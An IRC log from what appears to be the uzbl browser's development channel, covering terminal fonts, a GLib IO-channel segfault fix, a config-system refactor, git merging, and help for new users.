20:34 < rob|> DuClare: i'm using DejaVu Sans Mono for the terminals
20:35 < DuClare> rob|, Me too :/
20:35 < barrucadu> I was, but then discovered Onuava.
20:36 < DuClare> I'd like to see a side-by-side comparison
20:37 < DuClare> http://www.codeproject.com/KB/work/FontSurvey.aspx?display=Print
20:37 < barrucadu> Give me a minute or two :p
20:37 < Dieterbe> i don't really care what fonts i have in my terminal. i don't see much difference anyway
20:37 < Dieterbe> i find any normal monospace font good
20:39 < rob|> hmm, i got quite used to this setup http://dzen.geekmode.org/dwiki/doku.php?id=config:terminal-colors
20:45 < barrucadu> rob|: I'm using these colours, http://www.barrucadu.co.uk/screenshots/2009-05-15.png Theme Eight on Phrak's blog
20:45 < barrucadu> And here is the DejaVu Sans Mono / Onuava comparison: http://misc.barrucadu.co.uk/dejavuonuava.png :)
20:48 < _19LIONZ> Privoxy works . When did that happen ?
20:48 < rob|> barrucadu: hmm, you're using antialiasing? that font looks blurry
20:50 < barrucadu> rob|: That's using whatever the default GIMP settings for text are. I have antialiasing enabled in my Xdefaults
20:51 < rob|> gimp? i don't see any gimp in that shot
20:52 < rob|> anyways, too blurry - don't like that
20:52 < rob|> did you turn on autohinting? might help..
20:52 < barrucadu> rob|: I made the image in gimp, then saved it.
20:52 < rob|> oh, i see
20:53 < barrucadu> I have "Xft.hinting:   full" in my Xdefaults
20:53 < rob|> just try the font setting from the link above, i bet they it'll look better than what you've got now
20:53 < rob|> s/they//
20:54 < barrucadu> Ooh, things do look nice :)
20:54 < barrucadu> Right, I'm using DejaVu Sans Mono from now on :p
20:54 < rob|> hehe
20:57 < rob|> well, i tried a couple of fonts for daily use but dejavu was the one that convinced me most
20:57 < rob|> it's a pitty the M$ guys have got so nice fonts
20:57 < Dieterbe> hmm what would be the best glib-ish way to remove an ending "\n" ?
20:59 < rob|> Dieterbe: depends, is that a line retreived with g_io_channel_read_line()?
20:59 < DuClare> Umm, stuff looks quite terrible without aa o_O
20:59 < Dieterbe> neldoreth: y
20:59 < Dieterbe> eurrgh scratch that. sorry neldoreth 
20:59 < Dieterbe> rob|: exactly :)
21:00 < rob|> Dieterbe: ..._read_line() also tells you the length of the line, so you can do:  line[length-1]='\0';
21:01 < Dieterbe> oh.. naughty :)
21:03 < DuClare> Oh well
21:04 < DuClare> I've got 112dpi crt
21:10 < DuClare> My xmess: http://hikari.serveftp.org/Xdefaults.txt
21:12 < rob|> can you take a shot, can't picture the colours from hex values, yet ;)
21:12 < DuClare> http://hikari.serveftp.org/termcolors.png
21:13 < barrucadu> DuClare: This may be a stupid question, but why not have the emacs.* stuff in your .emacs?
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21:13 < github> uzbl: Dieter Plaetinck config-refactor SHA1-e4229be
21:13 < github> use g io channels for file reading so we dont have size limits on the buffer string
21:13 < github> http://bit.ly/t52Gt
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21:13 < barrucadu> I have to say… I'd slowly go insane using those colours :p
21:13 < DuClare> barrucadu, Because disabling that crap via xdefaults is faster as they don't get loaded by emacs in the first place.  If you disable them in .emacs, it will still first load them and then use elisp to hide..
21:13 < DuClare> barrucadu, Why? :)
21:14 < rob|> hmm, do those fonts look only for me that blurry?
21:14 < Dieterbe> http://github.com/Dieterbe/uzbl/commit/e4229be55a4c397227485b7a4575ba13f4473acb doesn't work very well guys.  (segfaults sometimes), feel free to have a look
21:14 < barrucadu> It's so… green <.>
21:14 < Dieterbe> that gives me a headache :/
21:14 < Dieterbe> seriously
21:15 < DuClare> It could be a bit less green perhaps
21:16 < DuClare> I keep changing my colours .. hence all the comments in xmess :x
21:18 < DuClare> I bet the colours are not as intense on my crt
21:20 < rob|> Dieterbe: btw, you don't need to remove '\n', the regex will take care of that
21:20 < DuClare> http://hikari.serveftp.org/colors2.png
21:20 < rob|> just pass the line as is to parse_cmd_line
21:21 < Dieterbe> rob|: that didn't work too :/ can you have a look?
21:22 < DuClare> Now it's all blue :x
21:30 < rob|> Dieterbe: i'm at it, just a sec
21:32 < DuClare> Hmm.
21:32 < DuClare> Next thing I want to add is KEYCMD :o
21:33 < rob|> Dieterbe: ok, can you recheck
21:33 < rob|> DuClare: hmm? you mean pearcing string into the key buffer through commands?
21:33 < rob|> *strings
21:34 < DuClare> Yep
21:34 < DuClare> I'll see if it's feasible to roll a fake GdkEventKey
21:35 < DuClare> Hmm
21:35 < DuClare> May incemental commands depend on getting every single keypress, or would it be safe to fake the last character only?  Or skip that entirely and only set a string, ignoring the key event stuff..
21:36 < DuClare> I'd prefer to emulate keypresses (for always-hint-mode)
21:38 < Dieterbe> DuClare: what exactly do you mean, "adding KEYCMD" ?
21:38 < Dieterbe> never mind
21:38 < Dieterbe> note to self: read up
21:40 < Dieterbe> rob|> Dieterbe: ok, can you recheck <- i rechecked that when i don't strip the "\n" it still fails (segfault with sampleconfig-dev)
21:41 < Dieterbe> hmm it segfaults with --config examples/configs/sampleconfig-dev, with < examples/configs/sampleconfig-dev it just hangs 
21:41 < rob|> Dieterbe: hmm, i did "uzbl --config examples/configs/sampleconfig-dev" and it works fine for me
21:42 < Dieterbe> o_O
21:42 < rob|> with "uzbl < ..." too
21:42 < barrucadu> rob|: I just merged your branch and both --config ... and < ... work fine
21:43 < rob|> Dieterbe: forgot to recompile?
21:43 < Dieterbe> i wish :)
21:44 < rob|> Dieterbe: make clean all - just to be sure
21:45 < Dieterbe> same shit
21:46 < rob|> hmm, strange
21:47 < rob|> try commenting all of that XDG stuff, might be related to that part
21:47 < rob|> DuClare: would you mind also checking? for barrucadu it seems to work
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21:48 < DuClare> Ummhmm, what am I supposed to test?  Commit?  Merge something?
21:48 < Dieterbe> http://bit.ly/t52Gt this
21:48 < DuClare> Oh.
21:48 < DuClare> Right
21:49 < rob|> DuClare: merge my branch and "uzbl --config examples/configs/sampleconfig-dev" and "uzbl < examples/configs/sampleconfig-dev"
21:49 < rob|> does it segfault for you?
21:49 < barrucadu> rob|: I have the XDG stuff in mine and it's not that
21:49 < Dieterbe> if i remove my ~/.config/uzbl then i only get a problem with "./uzbl --config examples/configs/sampleconfig-dev"
21:50 < Dieterbe> < examples/configs/sampleconfig-dev works, and plain ./uzbl too
21:50 < rob|> Dieterbe: the link you posted does not include my changes
21:50 < Dieterbe> rob|: oh? did you push anything?
21:51 < rob|> yeah :)
21:51 < Dieterbe> uh
21:51 < rob|> hehe
21:51 < Dieterbe> i thought you meant "recheck if removing the \n works"
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21:51 < rob|> oh, no. i meant merge my branch and recheck. my bad..
21:52 < Dieterbe> faster you github!
21:52 < DuClare> No segfault
21:52 < rob|> DuClare: ok
21:55 < DuClare> rob|, What was the significance of making control_fifo a boolean?
21:56 < rob|> DuClare: the io_watch thing expects a "return TRUE;" on success
21:56 < rob|> otherwise it will fail on the second or third write
21:58 < Dieterbe> well i can confirm all uses cases work now for me, but rob| did you make a real change? i see you compacted the status check code a bit, but other then that?
21:59 < rob|> Dieterbe: will be more specific later, pizza just arrived ;)
21:59 < DuClare> Meh.  I haven't really eaten anything today.. :x
22:00 < Dieterbe> cool. i just ate pizza 2 hours ago :)
22:01 < barrucadu> I had pizza about half an hour ago :p
22:01 < Dieterbe> lol
22:01 < DuClare> :<
22:01 < DuClare> I had no pizza
22:01 < Dieterbe> okay it's official
22:01 < Dieterbe> pizza is the official uzbl developer food
22:01 < barrucadu> ^^
22:01 < Dieterbe> DuClare: you HAVE to eat pizza ! go buy one NOW !
22:01 < DuClare> Damnit.  I'm going to buy a pizza, bbl →
22:01 < barrucadu> :D
22:02 < rob|> hahahaha
22:02 < Dieterbe> anydot: that counts for you too :P
22:13 < barrucadu> What types of pizza did we all eat? I'm boring and always go for magherita :p
22:13 < barrucadu> *margherita
22:14 < barrucadu> This 'r' key is very frustrating. Sometimes it doesn't work at all, sometimes it types twice. I should have a look…
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22:14 < Dieterbe> i ate a hawaii
22:15 < rob|> hot salami, onions, tomatoes, garlic and artichoke :)
22:16 < Dieterbe> mine also had salami :)
22:17 < barrucadu> When in Sicily I usually have foccacia picante, a wonderful pizza I have yet to find anywhere else :( It's pizza base, with oregano and chopped tomatoes, with lots of spicy oil on :D
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22:19 < rob|> so true, you'll find no pizza like in italy anywhere on the globe
22:19 < barrucadu> Luckily my dad has friends in Sicily so it's a fairly frequent holiday destination :)
22:27 < rob|> time for a cigarrete
22:27  * barrucadu glares
22:27 < barrucadu> You'll make the channel smell of smoke :p
22:33 < rob|> btw, do i need to use 'git rebase' to make the config-refactor branch the master one?
22:35 < Dieterbe> tell us what your goal is
22:36 < rob|> well, i want to make config-refactor the master branch (in my tree)
22:36 < rob|> i suppose just merging the branches would lead to tons of conflicts
22:37 < Dieterbe> there is such thing as "the" master branch.  you have a few branches and one of them is called master
22:37 < rob|> hmm, ok. so i would delete master and rename config-refactor to master?
22:37 < Dieterbe> well, if your master did not change (much), the merge should be straightforward.  if master did not change at all, the merge will be a fast-forward
22:38 < Dieterbe> if you really don't care about your master you could do that yes
22:38 < Dieterbe> but i suggest you do this first: git checkout master && git merge config-refactor
22:38 < Dieterbe> if that fails, you can still throw the master away
22:39 < rob|> hmm, ok. will try that.
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22:39 < Dieterbe> but you still need to explain me how you fixed the io channel thingie
22:40 < rob|> oh, that seemed to have worked - very cool
22:41 < rob|> well, what you did looked quite strange. especially setting status to some initial value
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22:42 < Dieterbe> :P
22:44 < Dieterbe> ok i saw you cleaned it up a bit. but i don't really understand what the real fix was
22:46 < rob|> hmm
22:48 < barrucadu> The week after next is half term, so I plan to sit down and read through the code until I undestand what does what again :p
22:49 < rob|> Dieterbe: the biggest problem was to assume that the first read would succeed
22:50 < rob|> barrucadu: yeah, should be quite self explanatory. we made heavy use of glib stuff - like regexes, the lexical scanner, etc
22:50 < Dieterbe> rob|: oh.. right
22:51 < DuClare> <-
22:51 < DuClare> I bought two pizzas. :3
22:52 < barrucadu> :D
22:52 < rob|> hehe, enjoy your meal!
22:55 < Dieterbe> indeed :)
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23:00 < rob|> Dieterbe: btw, i can tell you why your code segfaulted. you checked the status of the last read while you issued a new read. so you got an EOF but did one more read after that
23:01 < rob|> hrm, does that sentence make any sense for you?
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23:02 < rob|> in other words you did not check the status of the current but of the previous read
23:03 < Dieterbe> of course... what a newbie mistake i made  :P
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23:07 < rob|> such things are idiomatic operations, i.e. if you write them often enough you don't even think about the whys ;)
23:14 < DuClare> I'm starting to get the hang of it.. of C I mean.  After all the functional programming.
23:15 < DuClare> Still though I don't feel comfortable.  Lack of 1st class functions and macros and whatnot make me feel I'm repeating myself over and over again.
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23:21 < github> uzbl: Robert Manea config-refactor SHA1-4cb5e65
23:21 < github> fixed control_fifo() to return a correct status
23:21 < github> http://bit.ly/XT6dn
23:21 < github> uzbl: Robert Manea config-refactor SHA1-158eb87
23:21 < github> Merge branch 'config-refactor' of git://github.com/Dieterbe/uzbl into config-refactor
23:21 < github> http://bit.ly/EGT1Y
23:21 < github> uzbl: Robert Manea config-refactor SHA1-beeb58a
23:21 < github> fixed settings_init()
23:21 < github> http://bit.ly/sHUup
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23:35 < Dieterbe> lol. the dwm ML is the wackiest ML i've ever followed. by far
23:35 < Dieterbe> bunch of nutcases ^^
23:36 < Dieterbe> but i'm off
23:37 < Dieterbe> see you tomorrow guys
23:37 < barrucadu> bye
23:49  * barrucadu has been playing with cflow
23:49 < barrucadu> I've just got a script working that prints out a flowchart using cflow, and strips out all functions that we didn't create (ie: in uzbl.h) :D
23:49 < barrucadu> Should be useful when I'm figuring out what does what :p
23:50 < DuClare> cflow.. looks interesting
23:50 < rob|> hmm, yeah. still looking for an easy way to create a call graph
23:51 < DuClare> Going to be useful
23:51 < DuClare> If it works
23:54 < barrucadu> Script is here: http://github.com/Barrucadu/home/blob/f27f7a913d922d769657d2639e6e020f1d77001f/bin/c2flow
23:55 < barrucadu> It's slow (ish), and far from perfect, I just wrote it to get an idea of what is related to what. So feel free to completely rewrite it :p
23:55 < DuClare> Wanna show its output? :)
23:56 < barrucadu> One minute
23:57 < barrucadu> http://misc.barrucadu.co.uk/c2flow
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00:02 < DuClare> Handy
00:04 < barrucadu> Well, I'm off now. Bye
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00:07 < GNU\caust1c> http://www.uzbl.org/img/screenshot-1.png how did you generate that graph? :)
00:09 < rob|> that's a github feature
00:20  * DuClare is about to turn in. o/
00:33 < GNU\caust1c> ah, ok :)
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08:43 < Dieterbe> morning fellas
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08:46 < Dieterbe> the cflow thingie looks useful indeed
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09:02 < gcarrier_> Dieterbe: up?
09:03 < Dieterbe> yeah
09:03 < Dieterbe> hi G
09:03 < gcarrier_> Dieterbe: hi
09:04 < gcarrier_> Dieterbe: who populates /dev for bootup please?
09:04 < gcarrier_> Dieterbe: when udev isn't started yet
09:04 < gcarrier_> Dieterbe: my fs is seriously damaged, and those don't exist :(
09:04 < Dieterbe> whoa...
09:05 < Dieterbe> not sure. can you have a look at /etc/rc.sysinit ? maybe you'll see it there
09:05 < Dieterbe> but i wouldn't know from the top of my head
09:05 < gcarrier_> Dieterbe: thx ;)
09:05 < gcarrier_> Dieterbe: those dev files are not created at install time?
09:06 < Dieterbe> no.. definitely not :)
09:06 < Dieterbe> i'm looking at /etc/rc.sysinit myself and it looks pretty clear
09:08 < DuClare> Morning
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09:16 < DuClare> Each instance with no page loaded takes 10-11 megs of ram :x
09:17 < Dieterbe> hooraay
09:18 < DuClare> Load a page and it's likely to add a few megs
09:23 < DuClare> I think that's more than what firefox usse
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09:23 < github> uzbl: Dieter Plaetinck config-refactor SHA1-a759f9c
09:23 < github> support dmenu vertical patch (with gracefull fallback to normal dmenu)
09:23 < github> http://bit.ly/h6bed
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09:25 < Dieterbe> DuClare: should i merge your 64bit pointer stuff?
09:25 < Dieterbe> will it break things?
09:26 < DuClare> Well, it supposedly broke things when rob| manually merged it.  So I reverted it in my next commit
09:27 < DuClare> I'd still like to find a solution, but gets difficult as I don't have a 32bit system for testing and I can't be bothered to install a full blown chroot or vm right now :x
09:28 < Dieterbe> k
09:28 < Dieterbe> we cannot set *_handlers anymore through config?
09:29 < Dieterbe> Config file /home/dieter/.config/uzbl/config found.
09:29 < Dieterbe> Error in command: set history_handler /home/dieter/.local/share/uzbl/scripts/history.sh
09:29 < Dieterbe> Error in command: set download_handler /home/dieter/.local/share/uzbl/scripts/download.sh
09:29 < Dieterbe> Error in command: set cookie_handler /home/dieter/.local/share/uzbl/scripts/cookie.sh
09:30 < Dieterbe> ah nm
09:30 < Dieterbe> i should add '='
09:34 < rob|> morning
09:34 < Dieterbe> heya
09:36 < Dieterbe> should i change all scripts to now do "set uri = foo" instead of "uri foo" ?
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09:37 < github> uzbl: Dieter Plaetinck config-refactor SHA1-7d6b9d5
09:37 < github> fix for handlers in sample config
09:37 < github> http://bit.ly/2ZIpEW
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09:37 < rob|> hmm, google's pprof looks useful
09:37 < Dieterbe> rob|: ?
09:37 < Dieterbe> should i change all scripts to now do "set uri = foo" instead of "uri foo" ?
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09:38 < rob|> Dieterbe: "set uri = foo" or "cmd uri foo" both will do the same thing
09:42 < Dieterbe> k
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09:46 < Dieterbe> is the socket also broken for you guys?
09:47 < rob|> hmm, might be the case. try modifying the retun statement to "return TRUE;"
09:47 < rob|> in control_socket
09:48 < Dieterbe> never mind
09:48 < Dieterbe> there was no "set socket_path" in my conf
09:48 < rob|> anyways, that should be done
09:48 < rob|> the reurn that is
09:50 < Dieterbe> k
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09:52 < github> uzbl: Dieter Plaetinck config-refactor SHA1-87ad079
09:52 < github> regression fix: different command syntax for setting uris
09:52 < github> http://bit.ly/19Bpsi
09:52 < github> uzbl: Dieter Plaetinck config-refactor SHA1-2eb9dae
09:52 < github> reenable sockets
09:52 < github> http://bit.ly/AtV0U
09:52 < github> uzbl: Dieter Plaetinck config-refactor SHA1-5202ec3
09:52 < github> fix return for control_socket
09:52 < github> http://bit.ly/2rZBqn
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09:56 < github> uzbl: Dieter Plaetinck config-refactor SHA1-262ccb5
09:56 < github> document reset_command_mode in config + reorder a bit
09:56 < github> http://bit.ly/1602Vf
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09:57 < Dieterbe> #set proxy_url = http://127.0.0.1:8118
09:57 < Dieterbe> #values 0-3
09:57 < Dieterbe> #set    http_debug = 0
09:57 < Dieterbe> #set    useragent       uzbl (Webkit %webkit-major%.%webkit-minor%.%webkit-micro%)
09:57 < Dieterbe> # Example user agent containing everything:
09:57 < Dieterbe> #set    useragent       Uzbl (Webkit %webkit-major%.%webkit-minor%.%webkit-micro%) (%sysname% %nodename% %kernrel% %kernver% %arch-system% [%arch-uzbl%]) (Commit %commit%)
09:57 < Dieterbe> #set    max_conns       0
09:57 < Dieterbe> #set    max_conns_host  0
09:57 < Dieterbe> did someone test if these still work with all the config refactoring?
10:00 < rob|> yes, should all work
10:00 < rob|> the useragnet symbols changed, though
10:00 < rob|> the exapnd_template() for the names
10:00 < Dieterbe> k
10:00 < rob|> s/the/see/
10:00 < Dieterbe> i'm merging config-refactor into my experimental now
10:00 < Dieterbe> seems like everything is on par with before
10:01 < rob|> yes, should be.
10:02 < Dieterbe> btw http://bbs.archlinux.org/viewtopic.php?pid=553341#p553341 <-- dmenu vertical patch. great alternative for awmenu
10:02 < Dieterbe> i added support for it in the example scripts (with fallback to normal dmenu)
10:07 < rob|> ah, cool
10:07 < rob|> http://omploader.org/vMW9teQ/pprof22827.0.ps  <-- pprof output for uzbl
10:07 < Dieterbe> i merged config-refactor into experimental and deleted my config-refactor
10:08 < Dieterbe> merge went without a hitch :)
10:08 < rob|> that's nice
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10:14 < Dieterbe> rob|: can you make it ignore external libraries?
10:14 < rob|> Dieterbe: so, we need some good docu describing the new features and how to use them
10:14 < Dieterbe> eg don't track the call tree in those
10:14 < rob|> Dieterbe: i guess you can, didn't dive too deeply into it yet
10:15 < Dieterbe> yeah i'll be doing some cleanup in the docs
10:15 < rob|> it looks really useful at it also charts the time consumed in each function
10:16 < rob|> and the usage is super easy
10:16 < Dieterbe> you can do that with valgrind too :)
10:23 < rob|> regarding the docs, just shout if you need some help or if anything is unclear
10:34 < Dieterbe> will do
10:38 < rob|> btw:  echo 'set status_format = <span foreground="green">URI</span> <span foreground="khaki">MSG</span>' > fifo
10:38 < rob|> and:
10:38 < rob|> for i in $(seq 1 100); do echo "set status_message = (download_file ${i}%)"; sleep .5; done > fifo
10:38 < rob|> could be really cool for download managers and such
10:44 < Dieterbe> agreed with #2, but don't understand #1
10:45 < rob|> the MSG symbol is where status_message will display its text
10:45 < rob|> i.e. you can arrange it where you like on the bar
10:47 < rob|> we should probably include MSG in the default status_format
10:47 < rob|> in the smapleconfig rather
10:49 < Dieterbe> please do
10:49 < DuClare> If you're gonna modify default status_format, ...
10:49 < DuClare> PLEASE make the keycmd section monospaced
10:49 < DuClare> I'd also bold it. :x
10:50 < rob|> WTF? just installed imagemagick with installed gsfonts as dependency and now all fonts look like shit
10:51 < DuClare> :|
10:56 < rob|> well, removed that stuff
11:02 < rob|> Dieterbe: would you like to take care of the default status_format? i mean your last default was quite pretty, too :)
11:04 < Dieterbe> huh? you lost me
11:04 < Dieterbe> just add your field
11:04 < Dieterbe> i'm sure you can keep the statusbar format pretty
11:11 < rob|> oh, you did so already
11:14 < Dieterbe> i did what?
11:14 < rob|> added MSG
11:16 < DuClare> Did he also add monospace :x
11:17 < rob|> yes
11:17 < DuClare> Great. :)
11:18 < Dieterbe> whatever
11:18 < Dieterbe> i have no idea what you guys are talking about :)
11:20 < rob|> http://omploader.org/vMW9uZg  using profont in the bar :)
11:21 < Dieterbe> cool shizzle manizzle
11:21 < DuClare> www looks funny
11:21 < DuClare> Cool bar
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11:45 < rob|> well, what's left to be done is consolidating set_var_value and get_var_value so we don't do the var_is() in multiple places
11:46 < rob|> and make those 2 functions wrappers for the consolidated function
11:47 < rob|> oh yes, and we need a dump_config() that does a foreach on the var hash and outputs those values as commands to stdout
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11:49 < barrucadu> Hi
11:49 < rob|> hey
11:49 < Dieterbe> rob|> oh yes, and we need a dump_config() that does a foreach on the var hash and outputs those values as commands to stdout <-- yeah
11:51 < rob|> i'd like to think a bit more about best practice to do that, i.e. add a marker to the var table that denotes wether the variable is to be dumped or not
11:51 < rob|> and probably even a type symbol
11:55 < rob|> i thought about a data structure like this: hash{ key="variable name" -> value=pointer_to_array['pointer_to_var', 'dump_marker', 'variable_type_symbol] }
11:57 < rob|> what do you guys think about this?
11:57 < barrucadu> Looks good
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11:58 < blokkie> yo
11:58 < blokkie> uzbl is rather funcky :
11:58 < rob|> hey blokkie
11:58 < blokkie> how do I change the size of the font's inside web-pages ?
11:58 < blokkie> hi rob|
11:59 < rob|> the default size? (there are bindings '+', '-' that zoom in/out)
11:59 < blokkie> ah indeed
11:59 < blokkie> works like a charm
11:59 < blokkie> how do I "spawn" a new window ?
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12:00 < Dieterbe> rob|: dump_marker == gboolean?
12:00 < DuClare> Ummm
12:01 < blokkie> I could bind a key to fluxbox to spawn new uzbl windows .. but it might be in uzbl allready
12:01 < rob|> Dieterbe: yes
12:02 < DuClare> rob|, Dieterbe: Do you have anything against renaming CMD to ACT (or ACTION)?  I keep getting confused by the fact that we have COMMANDS that are read via pipes, and then we have bindings that bind keys to ACTIONS, and then we have the COMMAND, CMD, which invokes an ACTION.. <,<
12:03 < rob|> DuClare: right, sounds reasonable.
12:04 < Dieterbe> rob|: i take it variable_name (key in hashmap) will be like "status_format" ? how will you "iterate" over this hashmap? to know which vars to export? or will you iterate over Uzbl uzbl and then check the hashmap for each var?
12:05 < rob|> there is a glib function g_hash_table_foreach or something like that, and we just check for dump_marker on each iteration
12:05 < Dieterbe> DuClare: go ahead, I'm totally confused by it anyway
12:05 < Dieterbe> rob|: i see.. well.. looks good to me then
12:06 < DuClare> blokkie, bind something = spawn /path/to/uzbl
12:06 < rob|> Dieterbe: ok, not sure wether i'll do it today, though i'm pretty sure we'll have it working during the next week
12:07 < rob|> the move to the new parser also took about a week
12:07 < blokkie> DuClare:  I did it in fluxbox .. it works niceley
12:07 < DuClare> Yup
12:07 < blokkie> for proxy ... is the syntax like proxy_server = 127.0.0.1:8118   ?
12:08 < DuClare> You want http:// in it
12:08 < rob|> blokkie: proxy_url = http://...
12:08 < blokkie> okelidokely :)
12:08 < rob|> blokkie: are you using the master branch?
12:08 < blokkie> yeps
12:09 < blokkie> just one small thingy
12:09 < rob|> blokkie: right, be sure to check out the new shiny features in experimental, though :)
12:09 < blokkie> I can do  -  -   to decrease the text size , but how can I make it default smaller and not to have to press - - - -  every time I start a fresh session ?
12:09 < rob|> blokkie: we now have a completly dynamic config system, i.e. you can change almost every bit of the browser on the fly (at runtime)
12:10 < blokkie> rob|: I'll check that out :)
12:10 < DuClare> blokkie, There's no var for setting the default yet, but if you don't mind using a temporary hardcoded hack, :
12:10 < DuClare> 09:22 < DuClare>     WebKitWebSettings *ws = webkit_web_settings_new ();
12:10 < DuClare> 09:22 < DuClare>     g_object_set (G_OBJECT(ws), "minimum-font-size", 30, NULL);
12:10 < DuClare> 09:22 < DuClare>     webkit_web_view_set_settings(uzbl.gui.web_view, ws);
12:10 < DuClare> Add these to main before gtk_main()
12:10 < blokkie> right on !
12:11  * rob| note to self add such a var
12:11 < rob|> ;)
12:11 < DuClare> Replace minimum-font-size with default-font-size
12:11 < rob|> btw, we should think about a good naming theme for all those vars
12:12 < blokkie> DuClare:  which file contains these strings ?
12:13 < DuClare> blokkie, uzbl.c, the main function is at the end of the file
12:13 < Dieterbe> DuClare: rob| isn't is possible to do anything you can do interactively, to also trigger it through parse_cmd_line ?
12:13 < blokkie> [blokkie@Archlap uzbl]$ ls
12:13 < blokkie> AUTHORS  CHECKLIST  FAQ  INSTALL  LICENSE  Makefile  README  TODO  examples  misc  uzbl  uzbl.c  uzbl.h  uzblctrl  uzblctrl.c
12:13 < blokkie> [blokkie@Archlap uzbl]$ grep webkit_web_settings_new *
12:13 < blokkie> [blokkie@Archlap uzbl]$
12:13 < blokkie> doesn't look like it
12:14 < rob|> blokkie: sure, that's why you need to _add_ those lines :p
12:14 < blokkie> oh
12:14 < rob|> Dieterbe: most certainly
12:14 < DuClare> Yes, I remember saying add
12:16 < Dieterbe> rob|: well, then you can easily tweak the zooming in your config, right . okay maybe not with an absolute value, but with a few zoom_in/out commands
12:16 < DuClare> Dieterbe, I'll try to explain it once more :)  Things that come from pipes or the config file are COMMANDS.  The bind command binds a key to an ACTION.  If you want to run an ACTION via fifo, then you use the ACT command to do it (though it hasn't been renamed yet, so it's cmd rather than act).  If you want to bind an action that runs a COMMAND, you use the runcmd action for that.
12:17 < DuClare> One thing we can't do yet is activate bindings via scripts
12:17 < blokkie> rob| DuClare   ... works like a charm after recompiling ! Thx
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12:17 < DuClare> But I'm working on KEYCMD which will fix that. :]
12:19 < Dieterbe> DuClare: okay so my terminology was a bit wrong, but the base idea was correct right? you can do "act zoom_in" on your config file?
12:20 < rob|> sure
12:20 < DuClare> Dieterbe, Yup
12:20 < blokkie> can I have a bookmarks file in  ~/.config/uzbl/   ?
12:21 < DuClare> You can have it whereever you like
12:21 < blokkie> k
12:21 < DuClare> Bookmarks are handled by external scripts which you can write to do whatever you like
12:21 < DuClare> Echo them to /dev/null for example. :>
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12:21 < github> uzbl: Dieter Plaetinck experimental SHA1-e35d0eb
12:21 < github> documentation overhaul
12:21 < github> http://bit.ly/9TyzH
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12:22 < Dieterbe> rob| / DuClare could one of you guys write the "COMMAND SYNTAX" part in the redame?
12:22 < Dieterbe> README*
12:23 < Dieterbe> barrucadu: aaaargh the website is down
12:23 < Dieterbe> barrucadu: i repeat: aaaaaaaaaaaaaargh
12:23 < barrucadu> Dieterbe: investigating :p
12:25 < barrucadu> Dieterbe: Looks like DreamHost are having poblems with one of their severs, hopefully it'll be back up soon
12:25 < barrucadu> It was working ealier so it hasn't been down for particularly long
12:25 < blokkie> DuClare:   understanding :)  .. I'll read the scripts now
12:26 < barrucadu> Working now
12:28 < DuClare> Dieterbe, I don't mind doing it, though I'd like to finish what I'm working on now and do it then if nobody else has done it by then
12:28 < Dieterbe> DuClare: ok
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12:31 < github> uzbl: Dieter Plaetinck experimental SHA1-02bf54c
12:31 < github> typo
12:31 < github> http://bit.ly/A8EbC
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12:34 < github> uzbl: Dieter Plaetinck experimental SHA1-dc9a506
12:34 < github> docs path fix
12:34 < github> http://bit.ly/17n56t
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12:45 < rob|> hmm, i think most of README's contents should go to "docs/philosophy" or something like that
12:46 < rob|> README should only document the browser
12:46 < Dieterbe> the philosphy part on top is more of the introduction
12:51 < DuClare> That reminds
12:51 < DuClare> "* implement all the ideas from README
12:51 < DuClare> That's annoying.
12:52 < DuClare> I want to see the ideas, not try to find the ideas hidden in documentation.. :>
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12:54 < Dieterbe> DuClare: that point can be removed. the logic is inverted now (if something is documented but not implemented yet, it has TODO next to it)
12:54 < DuClare> Good
12:58 < rob|_> I'd propose to use a format like this: http://rafb.net/p/2Hfayf35.html
12:58 < rob|_> and generate an index at the top of the file
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13:03 < Dieterbe> actually i want to use the markdown format
13:03 < Dieterbe> so we can display the readme on the website too
13:03 < Dieterbe> (see INSTALL file, which is formatted in markdown)
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13:06 < rob|_> hmm, ok. just be sure to insert some line breaks
13:06 < rob|_> currently it's really hard to read
13:06 < Phillemann> I can't compile uzbl because the "WebKitDownload" struct isn't found.
13:06 < Phillemann> I've got webkit-gtk-0_p40220
13:07 < barrucadu> Phillemann: What vesion of libwebkit do you have?
13:08 < Phillemann> barrucadu: I don't know where to look for the version number.
13:08 < Dieterbe> Phillemann: is that gentoo?
13:08 < DuClare> Phillemann, Too old
13:08 < DuClare> Phillemann, You need p42162
13:08 < Phillemann> Dieterbe: Yes
13:08 < Phillemann> Ok, then I have to look for an ebuild for >=p42162
13:09 < DuClare> I have one..
13:09 < Phillemann> DuClare: Okay, could you DCC it or something?
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13:10 < Dieterbe> emerge enchant libsoup gstreamer gst-plugins gst-plugins-alsa gtkdocize gtk-doc and build webkit from source
13:10 < Dieterbe> that's what my friend did on his gentoo box
13:10 < Phillemann> That's too much work
13:10 < DuClare> Why build webkit from source when there's an ebuild.
13:11 < Phillemann> DuClare: Thanks :)
13:11 < DuClare> Phillemann, Actually, I have an ebuild for uzbl
13:11 < DuClare> It's likely to be incomplete, but works for me nevertheless
13:11 < Phillemann> DuClare: Oh, that would be even better actually :>
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13:13 < DuClare> You're gonna need them both of course.
13:13 < Phillemann> Yep
13:13 < Phillemann> I'll try compiling with those.
13:13 < barrucadu> Dieterbe: DuClare: if you could add your PKGBUILDs / ebuild to your uzbl repo (package/* or something?) they could be linked to from uzbl.org/get.php :)
13:14 < Dieterbe> for the pkgbuild i think referring to AUR is better
13:15 < Dieterbe> assuming the ebuild is not hosted somewhere on an overlay or something we could include it on the site yes
13:15 < Phillemann> DuClare: Is that ebuild just executing make? I had trouble doing just that because gentoo doesn't install the libsoup headers into /usr/include but in /usr/include/libsoup-2.4/
13:17 < DuClare> Phillemann, Yeah.  But I had no problems with it, which I think is because the version of webkit I depend on depends on libsoup-2.26 which seems to work out of the box
13:17 < Phillemann> Could be...
13:18 < Phillemann> How is ad blocking implemented in uzbl? Or how will it be implemented?
13:18 < Dieterbe> not
13:19 < DuClare> Phillemann, Uzbl is < 1700 lines of C.  Proper adblocking would be ten times that. ;)
13:19 < DuClare> Phillemann, Let privoxy handle it
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13:20 < DuClare> Dieterbe, Problem
13:20 < DuClare> Actually, nevermind
13:21 < Phillemann> Even worse, uzbl is _one_ file of >1000 lines of C. :P But okay, I'll take a look at privoxy
13:22 < DuClare> Worse?  To me that's a feature. ;)
13:22 < Phillemann> Hehe
13:25 < Dieterbe> hmmmm the history handler is broken?
13:25 < Dieterbe> i set the script but it's not called
13:26 < rob|> ok, we should include "bind :_ = runcmd %s" into sampleconfig-dev, will be easier to tell users how to set unset something
13:26 < Dieterbe> guys does the history handler from sampleconfig-dev work for you?
13:26 < Dieterbe> it's not executed for me
13:27 < rob|> Dieterbe: yes, works
13:27 < rob|> though didn't check with sampleconfig
